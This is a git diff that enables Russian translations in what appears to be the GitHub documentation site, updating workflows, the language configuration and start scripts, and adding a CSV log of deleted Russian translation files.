diff --git a/.github/workflows/msft-create-translation-batch-pr.yml b/.github/workflows/msft-create-translation-batch-pr.yml index c3fe40c5e8f8..066f0a520d7a 100644 --- a/.github/workflows/msft-create-translation-batch-pr.yml +++ b/.github/workflows/msft-create-translation-batch-pr.yml @@ -47,9 +47,9 @@ jobs: # We'll be ready to add the following languages in a future effort. - # - language: ru - # language_dir: translations/ru-RU - # language_repo: github/docs-internal.ru-ru + - language: ru + language_dir: translations/ru-RU + language_repo: github/docs-internal.ru-ru # - language: ko # language_dir: translations/ko-KR diff --git a/.github/workflows/sync-search-elasticsearch.yml b/.github/workflows/sync-search-elasticsearch.yml index 4dbf15ef371c..09de1a263054 100644 --- a/.github/workflows/sync-search-elasticsearch.yml +++ b/.github/workflows/sync-search-elasticsearch.yml @@ -36,7 +36,7 @@ jobs: fail-fast: false matrix: # This needs to match the languages we support - language: [en, ja, es, pt, cn] + language: [en, ja, es, pt, cn, ru] steps: - if: ${{ env.FREEZE == 'true' }} run: | diff --git a/lib/languages.js b/lib/languages.js index 06a3abf87cfc..b9ee58cb849d 100644 --- a/lib/languages.js +++ b/lib/languages.js @@ -11,6 +11,7 @@ const possibleEnvVars = { 'zh-CN': process.env.TRANSLATIONS_ROOT_ZH_CN, 'ja-JP': process.env.TRANSLATIONS_ROOT_JA_JP, 'pt-BR': process.env.TRANSLATIONS_ROOT_PT_BR, + 'ru-RU': process.env.TRANSLATIONS_ROOT_RU_RU, } function getRoot(languageCode) { @@ -69,6 +70,14 @@ const languages = { dir: getRoot('pt-BR'), wip: false, }, + ru: { + name: 'Russian', + nativeName: 'русский', + code: 'ru', + hreflang: 'ru', + dir: getRoot('ru-RU'), + wip: true, + }, } if (process.env.ENABLED_LANGUAGES) { diff --git a/package.json b/package.json index 703b952b7d1e..8d5d4370ff36 100644 --- a/package.json +++ b/package.json @@ -181,7 +181,7 @@ "scripts": { "browser-test": "cross-env BROWSER=1 NODE_OPTIONS=--experimental-vm-modules JEST_PUPPETEER_CONFIG=jest-puppeteer.config.cjs jest tests/browser/browser.js", "build": "next build", - "debug": "cross-env NODE_ENV=development ENABLED_LANGUAGES='en,ja' nodemon --inspect server.js", + "debug": "cross-env NODE_ENV=development ENABLED_LANGUAGES='en,ja,ru' nodemon --inspect server.js", "dev": "cross-env npm start", "index-test-fixtures": "node script/search/index-elasticsearch.js -l en -V ghae -V dotcom --index-prefix tests -- tests/content/fixtures/search-indexes", "lint": "eslint '**/*.{js,mjs,ts,tsx}'", @@ -192,7 +192,7 @@ "prevent-pushes-to-main": "node script/prevent-pushes-to-main.js", "rest-dev": "script/rest/update-files.js && npm run dev", "show-action-deps": "echo 'Action Dependencies:' && rg '^[\\s|-]*(uses:.*)$' .github -I -N --no-heading -r '$1$2' | sort | uniq | cut -c 7-", - "start": "cross-env NODE_ENV=development ENABLED_LANGUAGES='en,ja' nodemon server.js", + "start": "cross-env NODE_ENV=development ENABLED_LANGUAGES='en,ja,ru' nodemon server.js", "start-all-languages": "cross-env NODE_ENV=development nodemon server.js", "sync-search": "cross-env NODE_OPTIONS='--max_old_space_size=8192' start-server-and-test sync-search-server 4002 sync-search-indices", "sync-search-ghes-release": "cross-env GHES_RELEASE=1 start-server-and-test sync-search-server 4002 sync-search-indices", diff --git a/translations/log/msft-ru-resets.csv b/translations/log/msft-ru-resets.csv new file mode 100644 index 000000000000..dd2cc37f20b3 --- /dev/null +++ b/translations/log/msft-ru-resets.csv @@ -0,0 +1,1271 @@ +file,reason +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/troubleshooting-commits-on-your-timeline.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md,file deleted because it no longer exists in main +translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md,file deleted because it no longer exists in main +translations/ru-RU/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md,file deleted because it no longer exists in main +translations/ru-RU/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md,file deleted because it no longer exists in main +translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/codespaces-reference/security-in-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/creating-a-codespace.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/renaming-a-codespace.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/troubleshooting/codespaces-logs.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/codespaces/troubleshooting/working-with-support-for-codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md,file deleted because it no longer exists in main +translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,file deleted because it no longer exists in main +translations/ru-RU/content/github/copilot/about-github-copilot-telemetry.md,file deleted because it no longer exists in main +translations/ru-RU/content/github/copilot/github-copilot-telemetry-terms.md,file deleted because it no longer exists in main +translations/ru-RU/content/github/copilot/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/github/copilot/research-recitation.md,file deleted because it no longer exists in main +translations/ru-RU/content/github/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/tracking-your-work-with-issues/about-task-lists.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/about-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/automating-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/filtering-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/managing-iterations.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/managing-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/quickstart.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-apps/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md,file deleted because it no longer exists in main +translations/ru-RU/content/organizations/restricting-access-to-your-organizations-data/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md,file deleted because it no longer exists in main +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/actions.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/activity.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/apps.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/billing.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/branches.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/checks.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/code-scanning.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/codes-of-conduct.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/codespaces.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/collaborators.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/commits.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/dependabot.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/dependency-graph.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/deployments.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/emojis.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/gists.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/index.md,file deleted because it no longer exists in main +translations/ru-RU/content/rest/reference/interactions.md,file deleted because it no longer exists in main 